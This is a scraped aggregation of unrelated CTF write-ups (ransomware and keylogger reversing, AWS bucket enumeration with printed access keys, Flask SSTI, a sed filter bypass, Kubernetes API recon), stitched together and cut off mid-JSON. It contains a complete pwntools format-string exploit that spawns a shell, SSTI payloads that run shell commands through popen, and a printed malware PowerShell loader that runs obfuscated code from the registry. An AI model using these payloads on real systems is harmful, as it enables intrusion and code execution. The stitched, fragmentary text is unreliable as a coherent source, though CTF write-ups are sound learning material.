</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>link.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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**Disclaimer**: I didn't finish this challenge during the CTF, only because of the typo in the code, but I did around 99% of the expected work, and after finding the typo the next day, I was able to solve the challenge.
**Description**: Our organization was affected by a ransomware due to employee negligence. Can you help us recover our files? Note: Make sure you're analyzing this in an isolated environment.
**Stars**: 3/4
**Downloadable**: windows11update.exe - 64-bit Golang binary, capture.pcapng - pcap with encrypted network traffic, your_documents - zip archive
**Goal**: To reverse encryption algorithm and decrypt the pdf file with the flag
# Solution:
Challenge consisted of 3 files: * 64-bit PE executable, that after initial analysis was a compiled GoLang binary * pcap file with what looked like encrypted traffic * "your_documents" file without an extension, that after brief analysis turned out to be a zip archive containing file Confidential.pdf.ghost, a potentially encrypted pdf containing the flag
## Part 1 - decrypting the trafficThe initial strategy was to look at the binary, looking for a key to decrypt traffic from the pcap. As said before, binary turned out to be a compiled GoLang. I wasn't experienced with reversing golang binaries, so initially I spent a lot of time learning about golang (I will link few useful sources on the bottom). There were few issues I was dealing with: * Golang compiler is passing all functions' arguments on the stack, while Ghidra insists since it is x64 binary it must follow an x64 callign convention. Due to this, arguments are all messed up in Ghidra both in disassembly and decompiler. I couldn't find easy and fast way to solve it during CTF so I was just making notes, what functions have what arguments. * Golang has a huge concurrency focus, related to so called goroutines. Not sure if this is directly related, but my x64dbg loved to switch context, even during single-stepping, which was quite annoying. In the end, I learned to not use single-stepping and just put a lot of breakpoint whenever I saw an interesting code. * On the bright side, Ghidra did well on recovering all function names and strings, which I read was an issue for some disassemblers in the past. So this at least made analyzis a little bit more convinent.
Eventually, by running disassembler and debugger concurrently, I started to make some sense out of the binary. Initially the binary used net.Dial() function to connect to nonexistent domain wind0ws11.com on port 443, then it used crypto/cipher library to encrypt communcation with AES encryption in GCM mode. If you set the breakpoint at correct address, you can easily see AES key being passed to the function
https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/network_decryption_key.PNG
Having the key, we need to understand a network alorithm to fully decrypt the text. If we look into the pcap in the raw form in Wireshark (follow tcp stream -> show data as: raw) we will see that first packet is usually 4 bytes and then a longer string follows. If you areperienced with raw socket programming, you will know that for raw socket transission, it's always easy to first send information about the amount of data that needs is to be expected next, before sending actual data. This is exactly what happens here. So we have 4 bytes that are not encrypted and decypher to a number n, followed by an encrypteded string of data of lenght of exactly n bytes.
With this information it's just a matter of writing a simple decryptor in our language of choice. Usually I chose the same language that was used in the original file, just to avoid some pottential issues related to cryptography implemantation. So I wrote one decryptor in go, but later I needed a decryption function in python, so I wrote that too. You can find the correct script in the decrypt.py file.
https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/decrypted_data.PNG
In the decrypted network traffic, we will find an interesting communication with the C2, but most importantly a long binary string, that decrypts to a .NET executable. Additionaly we will find some recon commands, some guid string sent from client to server (this will be important later) and a ransom note.
Entire decrypted traffic can be found in decrypted.txt file.
If we look more closely, we can also see that each command is preceded by a 2 letter message like "rc" or "la". These are C2 server commands that will tell the binary what function to execute next with parameters that follow after the command. If we will look closely at the diassembly, we will find a function that is responsible for parsing a reply from C2 and executing a particular action. It looks like this:
https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/C2Comms.PNG
What I did during the CTF to help me understand better the flow of the code and the functions is writing a tiny TCP server in python to serve as C2. With this I could debug specific functions and see what they are doing. You can find the script in c2_emulator.py file.
https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/c2_emulator.png
Now we can tell from the decrypted pcap what exactly happended during the attack. There were some reconnasiance commands run at first, then some data was written to a RegistryKey "Service" (take note, this is important) and later a .NET binary was sent and executed and after that client some guid (stored also in registry key) to the server, and in the end a ransom note was written to the desktop.
## Part 2 - analyzing .NET binary and getting decryption key
So now it is a good time to look at the .NET binary. It is not very obfuscated but function names are random and most of the strings are encrypted. After some deobfuscation and analysis, this is how the main function looks like:https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/dotnetmain.pngUnfortunately we soon realize, to decrypt any strings, we need to know what argument is passed to the program from the main Go binary (line 22), as it is later used in string decryption function:https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/decryptstring.pngTo do that we need to go back to the Golang binary. If you remember the strange string passed from C2 to the client to be saved in the registry key named "service" it is used as part of this decryption key, but it is later xored with some hardcoded hexstring in the binary. But I learned this only after CTF, during CTF I jsut ran my emulator, asked Go malwared to run a binary, and grabbed an argument from the memory. With this I could already run our .NET ransomware encryptor. To debug it, we also need to nop out a call to Process.EnterDebugMode() - otherwise it will crash our debugger.
So far, so good, now we can run our binary, grab a decryption key and get a flag, right? Not so fast, remember this strange guid sent by client to C2? It is being used as a seed to derive a correct encryption key. It is being generated at line 25 of .NET binary, and then saved to registry in line 26.
```csumj3VnYEF8fY3bkw.RegistryKeyValue = Guid.NewGuid().ToString();umj3VnYEF8fY3bkw.RegistrySetValueW(umj3VnYEF8fY3bkw.RegistryKeyValue);```
So to get a correct encryption key we need to set a breakpoint at the beginning of DecryptString function, and change in memory a randomly generated GUID for the one we got from the network traffic.https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/guid_memory.pngWith this done we can finally get a correct decryption key.https://github.com/lasq88/CTF/blob/main/HTB%20Business%20CTF%202021/Reversing/rev_ghost/img/file_decryption_key.png
## Part 3 - Decrypting the fileSo now, there is nothing easier than to just write a simple decryptor in .NET and then decrypt the file and get our flag, right? Well in theory, yes. In practice I wasted 3 hours with different code samples from the internet, trying to make this decryptor work. I always ran into the `Padding is invalid and cannot be removed.` exception, which meant something is wrong either with the encrypted file or with my key, or with a decryption code. After many tries to unsuccessfully debug my code, I've ruan out of time, and the CTF finished. Only the next day, after looking at someone else working code, I realzied my mistake. When calling rfc2898DeriveBytes I set number of rounds to 5000 instead of 50000 as it was originally in the encryptor. This small mistake costed me few hours, a lot of frustration and unsolved challenge. Fortuantely id didn't cost our team a podium position, as even with it we would finished on 4th place.
```csRfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);```One more remark regarding decryption code: Encryptor writes a salt into the first 32 bytes of the encrypted file. You need to read this value first and then decrypt reminder of the file. Other than that it is pretty straightforward, and many examples can be found in the internet. Just watch out for typos.
The working decryption code can be found in file_decryptor.cs file.
After launching it, we can finally enjoy our flag!
## ConclusionThis was a really well thought-through challenge, and kudos to the author. I appriciate a depth to this challenge, from analyzing GO biary, via decrypting traffic to analyzin a .NET binary and writing a decryptor. It all required a really broad set of reversing skills. I also liked an attention to little details like decryption key being derived from earlier saved registry keys etc. This put more challenge into this task, because once I thought I got this, there was always another issue to tackle.
Overall this was one of the best CTF challenges I've done, and even though I didn't finish it, I still loved it. Initially I was frustrated that small typo stopped me from finishing it in time, but while writting this write-up, I realized how much I've accomplishjed and how much I've learned during this challange. It gave me a kind of closure to this.
## Usefull linkshttps://cujo.com/reverse-engineering-go-binaries-with-ghidra/
https://pulsesecurity.co.nz/articles/portable-pivoting
https://medium.com/@nishanmaharjan17/reversing-golang-binaries-part-3-how-to-run-a-golang-ransomware-613f5369cbaa
https://developpaper.com/understanding-golang-multiple-assignments/
https://blog.malwarebytes.com/threat-analysis/2019/01/analyzing-new-stealer-written-golang/
https://golang.org/doc/asm
https://www.pnfsoftware.com/blog/analyzing-golang-executables/
https://golang.org/doc/gdb |
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# Part 1 : Spaceship external information endpoint
-----
* By Following the given link we access a web site : [Planet-Bucket](http://planet-bucket-43b2a07.s3-website-eu-west-1.amazonaws.com/).* Everytime i get a website I go check the HTLM code if anything interesting can be found (Ctrl + MAJ + I).* We see that the image rocket_bucket.png is located on another location* Let's follow the link [https://rocket-bucket-723aa76.s3.amazonaws.com/](https://rocket-bucket-723aa76.s3.amazonaws.com/). * We can see a file called flag.txt so we follow the following link [https://rocket-bucket-723aa76.s3.amazonaws.com/flag.txt](https://rocket-bucket-723aa76.s3.amazonaws.com/flag.txt) and we get the first flag :
-----
> CTF{0841862f273fd2ca20ea3b94a645781071ab19d7}
-----
# Part 2 : Obtaining the spaceship access keys
-----
* Inside the previoux link we also had another interesting file "external-information-panel.txt"* We download it using the link [https://rocket-bucket-723aa76.s3.amazonaws.com/external-information-panel.txt](https://rocket-bucket-723aa76.s3.amazonaws.com/external-information-panel.txt)* The content of this file is : https://g0341x75tb.execute-api.eu-west-1.amazonaws.com/logs* By trying to access this link we get the error message : "405 request method 'GET' not allowed"* Let's try other HTML commands using curl. The PUT command worked just fine* `curl -X PUT https://g0341x75tb.execute-api.eu-west-1.amazonaws.com/logs`* We get a lot of information by using this command. First of all we get the flag of this second part :> CTF{9177a9c8bb1cd5c85934}* And we also get the credential information for the rest of the challenge :> * AWS_SECRET_ACCESS_KEY=dpmlpQnMgZFZ5Nt8k7AkCTizqGrY84ZRW55lo+52> * AWS_ACCESS_KEY_ID=AKIA552OOUKCBWDIUCWS
-----
# Part 3 : A cleaning bucket
-----
* We got from previous step some credentials. Let's configure our aws using by using them (AWS shall be previously installed using sudo apt-get install aws). The command to use is aws configure. This command will request your Access key ID, your Secret Access key, the default region name and the default output format* `aws configure`> * AWS Access Key ID [None] : AKIA552OOUKCBWDIUCWS> * AWS Secret Access Key [None] : dpmlpQnMgZFZ5Nt8k7AkCTizqGrY84ZRW55lo+52> * Default region name [None] : eu-west-1> * Default output format [None] :* To get the correct ID of the Cleaning Bucket, we have access to the bucket list so we send the following command :* `aws s3api list-buckets`> * cleaningbucket-cf2be35> * planet-bucket-43b2a07> * rocket-bucket-723aa76* Now we have the correct ID lets get the tag using the command :* `aws s3api get-bucket-tagging --bucket cleaningbucket-cf2be35`* We get inside the returned value the flag of this 3rd part of the challenge :
> CTF_855cc724fd34896c8875-----
# Part 4 : Lambda Thrusters information panel
-----
* By looking at the possible commands for aws (available [here](https://docs.aws.amazon.com/cli/latest/reference/index.html#cli-aws)) we find out a command called lambda.* We try different commands and we find the command to get the function list.* `aws lambda list-functions `* With this command we get the "FunctionArn" of the "lambdaThruster-8697c51" which is arn:aws:lambda:eu-west-1:957405373060:function:lambdaThrusters-8697c51* We get the tag list of this lambda thruster using the command :* `aws lambda list-tags --resource arn:aws:lambda:eu-west-1:957405373060:function:lambdaThrusters-8697c51`* We get inside the returned value the flag of this 4th part of the challenge :
> CTF_20324408a4e3f5c1d54d-----
# Part 5 : E-space Cloud Computing System
-----
* last part of this challenge was about Cloud Computin System. This name makes us think of the Amazon Elastic Compute Cloud (EC2).* By trying different ec2 commands we find the following one :* `aws ec2 describe-tags` * We get inside the returned value the information "final_flag" which is the flag of this 5th part of the challenge :
> CTF_98f960b4d86bbcfe3fe1
-----
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curl http://dizzy.litctf.live/
Refresh: 10; url=/t2fo3pE6aNkYDDc00pXCyPRikydGLbgYLRYWn3inNSg
curl http://dizzy.litctf.live//t2fo3pE6aNkYDDc00pXCyPRikydGLbgYLRYWn3inNSg
Content : flag{th1s_is_b4d_pr4ct1c3_app4ar3nt1y}
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tldr;- send t = h1/h2 and receive (r, s) from the server- (r, t^-1 s) is a valid signature for the message h2
[writeup](https://jsur.in/posts/2021-07-19-google-ctf-2021-crypto-writeups#tonality) |
# Normal - 150pts## Reversing, Verilog, Python
## normal.v```verilogmodule normal(out, in); output [255:0] out; input [255:0] in; wire [255:0] w1, w2, w3, w4, w5, w6, w7, w8; wire [255:0] c1, c2; assign c1 = 256'h44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3; assign c2 = 256'hd208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21; nor n1 [255:0] (w1, in, c1); nor n2 [255:0] (w2, in, w1); nor n3 [255:0] (w3, c1, w1); nor n4 [255:0] (w4, w2, w3); nor n5 [255:0] (w5, w4, w4); nor n6 [255:0] (w6, w5, c2); nor n7 [255:0] (w7, w5, w6); nor n8 [255:0] (w8, c2, w6); nor n9 [255:0] (out, w7, w8);endmodule
module main; wire [255:0] flag = 256'h696374667b00000000000000000000000000000000000000000000000000007d; wire [255:0] wrong;
normal flagchecker(wrong, flag);
initial begin #10; if (wrong) begin $display("Incorrect flag..."); $finish; end $display("Correct!"); endendmodule```We are given a verilog file with two modules, main and normal. The main module creates an instance of the normal module, if normal flagchecker returns 1, flag is correct else incorrect is displayed
I started off by converting all the nor gates into one single gate by hand(NOR is represented by a . and NOT is represented by ~ for simplicity)``` nor n1 [255:0] (w1, a, b); // a.b nor n2 [255:0] (w2, a, w1); // a.(a.b) nor n3 [255:0] (w3, b, w1); // b.(a.b) nor n4 [255:0] (w4, w2, w3); // (a.(a.b)).(b.(a.b)) nor n5 [255:0] (w5, w4, w4); // ~((a.(a.b)).(b.(a.b))) nor n6 [255:0] (w6, w5, c); // (~((a.(a.b)).(b.(a.b)))).c nor n7 [255:0] (w7, w5, w6); // (~((a.(a.b)).(b.(a.b)))).((~((a.(a.b)).(b.(a.b)))).c) nor n8 [255:0] (w8, c, w6); // c.((~((a.(a.b)).(b.(a.b)))).c) nor n9 [255:0] (out, w7, w8); // ((~((a.(a.b)).(b.(a.b)))).((~((a.(a.b)).(b.(a.b)))).c)).(c.((~((a.(a.b)).(b.(a.b)))).c))``` Then I put the final expression into wolfram alpha https://www.wolframalpha.com/widgets/view.jsp?id=a52797be9f91295a27b14cb751198ae3 and recieved a simplified version of it. I honestly didnt know how bitwise not could be done in python so I replaced all the not expressions with xor 1 which does the same thing. a= input, b=c1, c=c2 ``` (a & b & (c^1)) | (a & (b^1) & c) | ((a^1) & b & c) | ((a^1) & (b^1) & (c^1)) ``` Now I quickly wrote a python script to bruteforce this gate against every printable charecter and got the flag ```python import string
def compute(chr, n): for j in range(0, 8): # each bit in possible letter a = (ord(chr) >> 7-j) & 1 b = (0x44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3 >> ( 255 - (8*n) - j)) & 1 c = (0xd208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21 >> ( 255 - (8*n) - j)) & 1 final = (a & b & (c^1)) | (a & (b^1) & c) | ((a^1) & b & c) | ((a^1) & (b^1) & (c^1)) if final != 0: return False return True
def main(): final = "" n = 0 for _ in range(0,32): # each byte of flag for chr in string.printable: # each possible letter if compute(chr, n): final += chr break n += 1 print(final)
main() ``` > flag: ictf{A11_ha!1_th3_n3w_n0rm_n0r!} |
As this was a downloadable OVA file, I figured I needed to import it into VirtualBox and spin-up the machine in order to start.
After logging in with the provided password I noticed a PowerShell window appearing for a short time (the description mentioned something about ‘blue windows’ popping up so this is interesting).
A quick look in the Task Manager revealed two suspicious processes with no name; however, when opening the file locations, I found a weird svchost.exe file in a non-standard location: **C:\ProgramData\windows\svchost.exe**
I quickly saved this file to my main machine for further analysis.
As I wanted to see what the PowerShell window from earlier was, I took a quick look at the Startup tab in Task Manager but there was nothing of interest.
I ran a Sysinternals Autoruns instance and I noticed a weird PowerShell-based Scheduled Task:
Analyzing this revealed that this Scheduled Task fetched a registry key’s value which was a base64-encoded obfuscated Powershell script then executed it.
`powershell.exe -w hidden -ExecutionPolicy Bypass -nop -NoExit -C Write-host 'Windows update ready'; iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\1X90wOyH).Q4josQ44)));`
This explains the quick Powershell window I saw when the machine booted.
Decoding the base64 registry key revealed the following PS script which contains a part of the flag for this challenge:
After a bit of cleaning-up I got to this:
So indeed the rest of the flag must be related to that svchost.exe file; the web request in the else branch seems to be just for misleading purposes.
Running a quick strings dump on the svchost.exe binary reveals that it’s a **pyinstaller-compiled .exe file**:
So the next logical step was to try and extract the file using **pyinstextractor** (https://github.com/extremecoders-re/pyinstxtractor):
Indeed I got some .pyc & .pyd files so I continued with trying to decompile them with **uncompyle6** (https://pypi.org/project/uncompyle6/)
Taking a look in **logger.py** reveals this svchost.exe file is actually a keylogger that encrypts the keyboard captured data with **AES in CFB mode, then base64-encodes** the cipher text and saves it to a file in the user’s APPDATA directory:
I saved the key and the initialization vector for the AES decryption and I fetched the **%APPDATA%\anVzdGFuW1l.txt** file which contained Python binary strings (the base64-encoded cipher text from before):
I cleaned the file a bit (removed the b’’ stuff) then I tried decrypting it in CyberChef, getting only garbage:
So I wrote a quick Python script to decrypt the file:
Which produced the following output:
After cleaning it a bit I could clearly see an email body:
As the first part of the flag was: **HTB{1_c4n_S33_3v3ryTh1ng_3v3n_y0uR_P1N_**
I figured the PIN from the email has to be the other part and indeed this was the final flag:
**HTB{1_c4n_S33_3v3ryTh1ng_3v3n_y0uR_P1N_50133700013}** |
Baby-sum was a pwn challenge from IJCTF 2021,
that was a bit tricky.
first we inspect the binary quickly to see the protections in place
ok let's reverse the program !!!!
the main function first:
the welcome function :
in the welcome function, we are given a free address leak of a variable on stack (name), then we can store whatever we want in name.
but strangely, this name string, is no more used later in the program... maybe we can use it for something else...(humm...)
then let's see the calc() function and vuln() function that is called from calc() where all happens..
the called vuln() function, that is obviously a format string vulnerability..
ok we can see now how the calc function operates,
it reads 3 inputs (0,1,2) on stack with scanf('%8s', &num), num is a pointer on stack to numbers[] array that is incremented at each turn..
in theory the inputs are numbers, but as it uses scanf(%8s), we can send whatever we want, numbers, strings, except carriage return that will end the input.
the function vuln is called on input, as printf(input) and is obviously a format string vulnerability.. we can check it by sending %p for example as input..
like always in format string vulns, I identify what is reachable on stack with various printf offsets (name are according to the calc() reverse above):
here are some offsets..* 6 --> address of start* 7 --> address of numbers[0]* 8 --> next frame pointer (points to offset 16)* 9 --> return address of vuln() from calc() * 10 --> numbers[0] at [rbp-0x30]* 11 --> numbers[1] at [rbp-0x28]* 12 --> sformat at [rbp-0x20] will be set to '%8s' at calc() beginning* 13 --> sum variable , undefined at beginning of calc()... (can be set via welcome() function , qword at (name string + 0x28)* 14 --> i variable at [rbp-0x10] incremented at each turn (0,1,2)* 15 --> num pointer at [rbp-8] incremented at each turn, point to &numbers[0] at beginning..* 16 --> next frame pointer (points to offset 20)* 17 --> return address from calc()
so we quickly found that the undefined var (will be sum variable, later in calc()), can be defined with the name input in welcome() function:
let's try...
ok it works, as you can see we, if we put a breakpoint to the printf in vuln() function we can see the 'BBBBBBBB' == 0x4242424242424242 in the 13th position reachable by printf... good...
as we know (with the welcome leak) the variable addresses, we will put a pointer to i variable counter, in position 13, with the name input string in welcome() function..
like this we can send '%13$n' string as input when we want, to clear i variable counter...and write 3 more positions...
so our attack strategy will be:
num pointer points to &number[0] at beginning of the loop,
we first send string "%1$p" to pass this position (num --> pos 10)
then we send string "%13$n" to clear counter variable i (num --> pos 11)
the we send string "%ld" that will replace "%8s" string at pos 12 (num --> pos12)
from now we can only enter numbers, as we changed the scanf format string to %ld, so we send '-' that will write nothing to this position (num --> pos13)
now num points to i (the counter) we send -100 , as i is defined as a int64 and can be negative, so that we can write up to 102 values (num --> pos14)
now num points to itself on stack, good good! we can modify it to move the place we will write on stack !!
we set it to an address before on stack, that contains a libc address.. this address will be leaked by the puts() in vuln() function..
we got our libc leak, and with it calculate libc base, that will be needed to calculate the one gadget address we will use in libc
now we pass the next 16 positions, be sending '-' string to scanf..
we are now again at i variable position, we send '0' to clear it (from now only 3 writes left before the calc() function return..
we pass the two next stack position, to reach the calc() function return address, that we replace with a one gadget address in libc..
and guess what ????
We got shell..
*nobodyisnobody for RootMeUpBeforeYouGoGo, still pwning things...*
```#!/usr/bin/env python3# -*- coding: utf-8 -*-
from pwn import *context.update(arch="amd64", os="linux")
exe = context.binary = ELF('./baby-sum')libc = ELF('./libc.so.6')
host = args.HOST or '35.244.10.136'port = int(args.PORT or 10252)
io = connect(host, port)
io.recvuntil('you: ', drop=True)# first we read the given stack leakstack = int(io.recvuntil('\n',drop=True),16)print('leak stack = '+hex(stack))
# the name 6th entry will be on stack untouched, so we put a pointername = 'A'*40+p64(stack+0x30)
io.sendlineafter('you?\n', name)
io.sendlineafter('> ', '%1$p')io.sendlineafter('> ', '%13$n') # clear the i counter variableio.sendlineafter('> ', '%ld') # replace '%8s' string by '%ld' no we can input numbers one by oneio.sendlineafter('> ' ,'-') # pass the input, without writing anythingio.sendlineafter('> ' ,'-100') # overwrite i variable with -100 (after all it is an int64)io.sendlineafter('> ', str(stack-0x58)) # overwrite num variable to point before on stack containing a libc address, to leak it
# get our libc leak & calculate libc baselibc.address = u64(io.recvuntil('\n', drop=True).ljust(8,b'\x00')) - 0x1ec6a0print('libc base = '+hex(libc.address))
def one_gadget(filename, base_addr=0): return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
onegadgets = one_gadget('libc.so.6', libc.address)
for i in range(16): io.sendlineafter('> ' ,'-')
io.sendlineafter('> ' ,'0') # set i counter to 0 again (3 writes is all we need)io.sendlineafter('> ' ,'-')io.sendlineafter('> ' ,'-')io.sendlineafter('> ' , str(onegadgets[1])) # write onegadget to calc() return address , at this points i>2, so calc() will return to our onegadget
# got shell nowio.interactive()``` |
## Almost At The Bottom (100 Points)
### Enoncé```Quel compte Twitter l'utilisateur a-t-il consulté ?pour le drapeau, nous voulons le nom du compte twitter sans @ Par exemple :CYBERTF{elonmusk}(Utilisez le fichier téléchargé depuis Au fond de mon esprit)```
### Solution
Nous allons chercher dans `628.dmp` qu'on a récuperé dans un challenge précédent avec volatility .
En utilisant strings on va chercher twitter dans `628.dmp`
`strings -e l ./628.dmp | grep twitter`
On trouve un compte twitter qui fera office de flag .
```https://twitter.com/GagarineI```
## Flag: `CYBERTF{GagarineI}` |
# ImaginaryCTF 2021After reviewing the python file, we can figure out the application is using function "render_template_string" which is vulnerable to SSTI. This function takes user input without any sanitizing.```@app.route('/site')def site(): content = b64decode(request.args['content']).decode() #prevent xss blacklist = ['script', 'iframe', 'cookie', 'document', "las", "bas", "bal", ":roocursion:"] # no roocursion allowed for word in blacklist: if word in content: # this should scare them away content = "*** stack smashing detected ***: python3 terminated" csp = '''<head>\n<meta http-equiv="Content-Security-Policy" content="default-src 'none'">\n</head>\n''' return render_template_string(csp + content) ``` **render_template_string(csp + content)** So the next step we need to call the necessary functions from dictionary-like object. The first step is to trigger one Object. Notice the 'las' and 'bas', 'bal' are blacklisted, so we need to bypass the control through concatenating the strings. Here is the payload I used.
**{{request["__cl"+"ass__"]["__mro__"]}}**
The request here is a variable created before. We can also use other objects like [] '' or {}... The main point here is to get Object Class from Python.
Then we choose the index 3 in the tuple and we get an Object class:
**{{request["__cl"+"ass__"]["__mro__"][3]}}**
The next steps are about to see all used classes, we can achive that through calling 'subclasses'.
**{{request["__cl"+"ass__"]["__mro__"][3]["__subcl"+"asses__"]()}}**
Notice we got quite a lot of classes. We need to choose the exploitable ones. For instance os._wrap_close. We can also use other classes and the resources are easy to find on Internet :) The class here can be called via : "os._wrap_close.__init__.__globals__['popen']('INPUT YOUR LINUX COMMAND HERE').read()" Then we have the payload as following:
**{{request["__cl"+"ass__"]["__mro__"][3]["__subcl"+"asses__"]()[132]['__init__']['__glob'+'als__']['popen']('ls').read()}}**
Upon executing the ls command, we can see the files in current path:
And we are able to see the content of the 'flag.txt' through command cat. Here is the final payload we used:
**{{request["__cl"+"ass__"]["__mro__"][3]["__subcl"+"asses__"]()[132]['__init__']['__glob'+'als__']['popen']('cat flag.txt').read()}}**
And BINGO, we got the flag:
**ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}** |
# Challenge Name: queen-of-the-hill
   
## Description
After finding a special key of the Hill, which contains a note to visit the Queen of the Hill, our brave Amanda begins her adventure to find the Queen of the Hill’s treasure. How shall she meet the Queen of the Hill? (a=0)
Cipher text: rtca{vbuhp_kaiq_gfj_nx_rda_ujw}
Encryption key:
16 25 8
14 19 5
15 17 3
## Detailed solution
We have a mention for **Hill** in the description let's search for Hill cipher https://en.wikipedia.org/wiki/Hill_cipher
Hill cipher use a matrice n x n as key wich is similar to the encryption key in the description
Let's decode the Hill ciphertext with the key matrice 3x3 i'll use https://www.dcode.fr/hill-cipher
## Flag
```flag{climb_your_way_to_the_top}``` |
### SummaryZoom in and look at the image closely.You will find something like *Sugar Pine Bakery* sign on the other side of the road
Search that in google map.You will only see one result.Use street view and go around near that *Sugar Pine Bakery*You will find a flag like *National Treasure* flag in given image and that is the place of the given imageAnd finally extract latitude and longitude from the link and round them in 3 decimal places
-----
flag `ictf{38.947_-119.961}` |
### Link to Challenge Website
[http://saas.chal.imaginaryctf.org](http://saas.chal.imaginaryctf.org)
-----
### Given Code (app.py)
```from flask import Flask, render_template, requestimport htmlimport os
app = Flask(__name__)
@app.route('/')def index(): return render_template('index.html')
blacklist = ["flag", "cat", "|", "&", ";", "`", "$"]
@app.route('/backend')def backend(): for word in blacklist: if word in request.args['query']: return "Stop hacking.\n" return html.escape(os.popen(f"sed {request.args['query']} stuff.txt").read())```
-----
### Summary
From reading the source code, we know we can't do command injection because of the blacklist.Sed command gives the original content of the file if the option is empty (ie '').We can't just send ('' flag.txt ) because **flag** is in blacklist.But we can use wildcard (*) to print out the flag.
-----
Solution Link [https://saas.chal.imaginaryctf.org/backend?query='' *](https://saas.chal.imaginaryctf.org/backend?query=%27%27+*)
-----
flag `ictf{:roocu:roocu:roocu:roocu:roocu:roocursion:rsion:rsion:rsion:rsion:rsion:_473fc2d1}` |
# Introduction
The entrypoint was just an IP address. For us, it was 10.129.95.171.It supposed to be an address to a Kubernetes cluster.
# Recon
A `nmap` scan`gives us the following opened TCP:
- 22/tcp- 2379/tcp- 2380/tcp- 8443/tcp- 10249/tcp- 10250/tcp- 10256/tcp
We recognize classic TCP ports of a Kubernetes environment:- 10249, 10250: kubelet (Access to nodes)- 10256: health check for Kube Proxy- 2379, 2380: etcd (key/value store for the cluster)
By default the Kubernetes API server is accessible on TCP port 6443. But for this challenge, it is on the port 8443. The API endpoint `curl https://10.129.95.171:8443/api/v1/version` returns version information about the Kubernetes environment.
# Analysis
In Kubernetes, there are `resource`, identified by name (`pod`, `configmaps`, `secret`, ...) on which an authenticated or an unauthenticated user can list and/or create and/or update and/or delete. Kubernetes have also a system of `namespace` to separate environments.
Kubernetes have 4 defaults namespaces:
- `default`- `kube-node-lease`- `kube-public`- `kube-system`
It could be interesting to access or manipulate the ressources inside `kube-system` namespace because this operation can lead to sensitive data leaks or breaks.
After a try to access
Two interesting resources : `secret` and `pod`. `secret` to retrieve, for example, access token to some resources, `pod` to, for example, deploy new pod into the namespace.
```bashcurl -k \ -X GET \ -H 'Accept: application/json' \ https://10.129.172.188:8443/api/v1/namespaces/kube-system/pods/```
Return the list of pods. This is problematic because unauthenticated users should not access to this part.
Extract:
```json{ "kind": "PodList", "apiVersion": "v1", "metadata": { "resourceVersion": "99232" }, "items": [ { "metadata": { "name": "alpine", "namespace": "kube-system", "uid": "29eb87f5-305c-4f20-b668-469d79200118", "resourceVersion": "98964", "creationTimestamp": "2021-07-21T20:32:48Z", "managedFields": [ (...) }, "spec": { "volumes": [ { "name": "mount-root-into-mnt", "hostPath": { "path": "/", "type": "" } } (...) "containerStatuses": [ { "name": "alpine", "state": { "waiting": { "reason": "ImagePullBackOff", "message": "Back-off pulling image \"alpine\"" } }, "lastState": { "terminated": { "exitCode": 137, "reason": "Error", "startedAt": "2021-07-21T20:32:51Z", "finishedAt": "2021-07-21T20:33:52Z", "containerID": "docker://c80ad77181ccd49c64c177eef8c459e6c4b27fc5ff06f74ce4ffb22540cb2823" } }, "ready": false, "restartCount": 0, "image": "alpine:latest", "imageID": "docker-pullable://alpine@sha256:234cb88d3020898631af0ccbbcca9a66ae7306ecd30c9720690858c1b007d2a0", "containerID": "docker://c80ad77181ccd49c64c177eef8c459e6c4b27fc5ff06f74ce4ffb22540cb2823", "started": false } ], "qosClass": "BestEffort" } }, (...) { "metadata": { "name": "kube-apiserver-kube", "namespace": "kube-system", "uid": "3a6c1104-409c-40ca-97e3-ecbea533f1ea", "resourceVersion": "94732", "creationTimestamp": "2021-07-24T08:55:50Z", "labels": { "component": "kube-apiserver", "tier": "control-plane" }, "annotations": { "kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint": "10.129.172.188:8443", "kubernetes.io/config.hash": "c132183c5af205ba7fc881492a31db77", "kubernetes.io/config.mirror": "c132183c5af205ba7fc881492a31db77", "kubernetes.io/config.seen": "2021-07-24T04:55:34.703087177-04:00", "kubernetes.io/config.source": "file" }, "ownerReferences": [ { "apiVersion": "v1", "kind": "Node", "name": "kube", "uid": "a8d9a8e7-ee8e-4596-8c2d-32d5a6e3ea21", "controller": true } ], 